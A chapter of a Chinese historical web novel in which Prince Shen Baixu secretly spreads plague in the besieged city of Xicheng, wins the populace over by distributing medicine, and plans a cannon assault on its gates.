李郎中听着屋内爆竹一般的动静,禁不住擦了擦额角的冷汗。此番来之前,沈白叙曾亲自对他好生教导了一番。 ‘不可带药方去,只按药方配一人的量,磨成细粉,再带一包一模一样的药粉去,若是她并无鼠疫缠身,万不可将真药拿出。”沈白叙的话在耳畔,他那似笑非笑的神情也在眼前: “若是差事办砸了,就休要怪本王不客气了。“ 出发之前,沈白叙还着师了孟清芷的画像,专门予李郎中看了半日,生怕他们找一个样貌相近之人滥等充数。 “还有。"沈白叙在他轉身欲离去之时,忽然補充道:“替本王瞧瞧,她是否有了身孕。“ 李郎中将手从袖子里拿出来,指尖微微颤抖。 他左胸衣襟内藏着的是真药,右侧是假药,两个药包外都用荷叶包了清水在里头,若发现任何异样,便须以手锤胸口,叫清水瞬间喷出,将真药街得一干二净。他妻儿老小都在沈白叙手上,万不可粗心大意。 进得门中,他谁都不敢看,颤抖着在翠珠端来的椅子上坐下,先仔细端详了片刻,又费了些力气看清了卧榻上的女子脖子上的痣,确信是孟清芷后,方才开始慢吞吞地把脉。一刻钟过后,冷汗湿透了内里衣襟,他用衣袖擦擦额头他家中五口人的命怕是能保住了。 眼前的女子确实得了鼠疫,好在症候尚轻,还有的治。而且,她并无半分有身孕的迹象。 将真药递与翠珠,他在众人不解的目光中仍站着不走,见萧声怒目而视,他汕笑道:“北辰王吩咐,叫小的亲眼瞧见她把药喝了才能回去。“ 翠珠自去煎药,服侍孟清芷喝了,过了一个时辰,果见她烧退了些,呼吸亦平稳不少,众人心里都松了口气。李郎中乘船离去后,公孙辞焦急地看向翠珠:“药都煎了?" 翠珠将那纸包拿出来::“我特意留了一点,不知不用。“ 徐重山凑上前来,见那草纸包着指甲盖大小的一块药粉,点头道:“足够了,两日之内必给出药方。“ 两日时间并不长,可对于在焦急中等待家人的汐城百姓来说,确是无比漫长。 汐城中大大小小的病患医治点均受到不同程度的攻击,百姓们不惜与官兵对抗,也要将自己的亲人接回家中去,宁可叫家人死在家中,也不愿他们孤苦伶仃,死后被焚尸。局势愈演愈烈,已经到了沈白舒亲自出来解释的地步。 两日后,徐重山捧着研制出的药方行到街上时,惊见大街小巷到虚都是分发药包的人,百姓们从容排队领取,无一人再哭闹。问他们药从何而来时,他们只是冷漠地说道:“不知道。“ 一夜过后,許多人家门前都有零星药包散落,本着死马当活马医的态度,许多人吃了那药,发现鼠疫奇迹般地好轉后,便自发将手中多余的药包分发了出去。沈白舒聞讯赶来时,惊见一群百姓神色漠然地对他望来,全然失了以往的尊祟敬佩。 早有民间傅聞,说北辰王手上有药方,南廉王手中明明有余钱,却压着不买,只为攒着银钱买軍需。北辰王实在不忍百姓遭难,这才自掏腰包,花了重金散发药包的。 见沈白舒站在街中,有一位年逾六十的老人缓缓走上前来,扣头下跪。"求求王,将百姓们放了罢。“ 一言既出,惊起波涛数层,绵延不绝。 人群中顿时有人附和道:“是啊王,求求您,放了我们吧。“ “您不能只顾着自己造反,倒把我们也坑害了。“这回还真是多亏了北辰王,若不是他 跟在沈白舒身后的江起朝听了,又惊又怒,禁不住大声喊道:“住口!你们什么都不知道,那鼠疫分明是 话犹未尽,便被回身看向他的沈白舒制止了。 沈白舒朝他摇了摇头,示意他莫要再说下去了。既没有人听,也没有人信。江起朝将嘴边的话咽下去,又莫名有些心烦。 袁莫大于心死。他从沈白舒的眼中看到了沉默的袁婉这场仗是他们输了。自沈白舒将前来游说的江湖術士赶走后,这场仗便已经输了。 沈白舒心慈是不假,可这也是他最为致命的弱点。他此番作为,便注定了是将利刃递到了沈白叙手中。 “传令下去,诸位将士紧守城门,做好应战准备吧。"沈白舒颓然说完,又吩咐道:“着人将岁岁尽快送走。“ 当晚,城外数地不约而同地燃起了烟花,有长尾的,,“吱儿”的一声冲到半空中,又带着肃杀之气垂坠下来;有颜色绚丽的,在空中开了一朵朵五颜六色的花;有平地一声爆响的,引着孩童们欢声笑语。 反观汐城内却是一片死寂,天空中的黑色代表着不祥,似乎全数聚集在汐城上方,阴惨惨地俯视城中人,叫人心头只剩无尽的凉意。澎城軍营内,潘儿预备好了一桌酒菜,沈白叙坐在上首,身边依次是郑玄策、长闻、栾鹰和趙铭世。 "此番之事,多亏各位。"沈白叙已是喝得面上微红,眼周也像是涂抹了胭脂一般,尽是藏不住的盈盈喜色。 其他人还未开口,趙铭世便抢先端起酒杯来:"都是王爷指挥有方。" 沈白叙转头看向他,笑道:“哪里,此番是你功劳最大。" 那西北的羌戊族不怀好意,趁着南廉王起兵之乱,指使人扮做江湖术士游说南廉王,意图将鼠疫传到朝,再趁机起刀兵,一举收回近百年前被朝缴获的三座城池,见南廉王不肯,又转头找上了沈白叙。 只不过,这帮羌戊族人极其狡猾,给出的药方是假的。 沈白叙对那江湖术士严刑拷问后,却逼问不出真正的药方,羌戊族人见此人被抓,也顿时与他断了联络。 正一筹莫展之际,还是赵铭世想到了自己的父亲赵虎威在西北征战时,曾结识过一位羌戊族宫中之人,便想办法以父亲的名义向此人传信,没料到真的拿到了药方。沈白叙极其谨慎,在数人身上做了试验,见果然是真药方,这才放心大胆地将鼠疫投到了汐城中。 赵铭世口中谦逊,面上却闪过一丝难以掩饰的骄矜神色,他低着头警了一眼坐在自己上首的几人,心中闪过些许不满。 他们几人只不过比他早追随沈白叙几日,便昂首挺胸地坐在他上首,有何了不起。收回思绪,他含笑冲举杯相贺的郑玄策微微点了点头。 接着,长闻和栾鹰轮番敬酒,他们酒量极好,赵铭世只应付了几轮便有些撑不住,倒在桌上,被潘儿带着几个小厮抬了出去。沈白叙嘴角的笑意尽皆隐去,看向郑玄策:“都准备好了么?" 郑玄策用手指了些酒,在桌上划着,道:“汐城城墙高耸,共十六道门。城中兵力充足,每个门都有軍士把守。“ "东直门和西直门最大,此次我们预备的炮火只够炸开这两處城门,第一波先主力攻东直门,待城中軍力都引到此处时,我军装退败,再以火炮军迅速顶上,炸开东直门。“ “城门已开,无需冲车。此时最需尽快补充兵力。火炮军只能以火尽力拖延,在此间,我军须全速驶船,自西南、西北两处登岸,随即在西直门聚首,以同样方式炸开西直门。“ 东西两处城门一开,南军腹背受敌,攻破只是时间问题。 “鼠疫一解,王爷无需再担心城中百姓对南廉王施以援手,只要不落井下石便是好的了。”郑玄策笑道。 沈白叙捻动两指,又在心中默默推算了数次,确保毫无遗漏之处,方才点点头:“此番功劳最大之人,实属廖家。" 郑玄策一愣,随即舒然一笑,点头附和。 沈白叙拿出纹银万两买下药方,又在澎城中花费重金造出轻薄的小船数个,甚至于迅速补充的火药,皆是廖家支援。兵部竟未支援多少军需,沈白叙硬气,当真也未曾上奏索要过,只向廖家索取。 即便廖家想尽办法给南廉王和皇帝都递了诉状,但他们都未回应,只得咬着牙继续供奉沈白叙。此番战事一过,廖家散尽家财,已无了半分昔日荣光。 "此番便不叫廖文川冲在前头了。”沈白叙淡淡下令:“便以他腿伤未愈为由,叫他在营中歇息吧。“ 作者有话说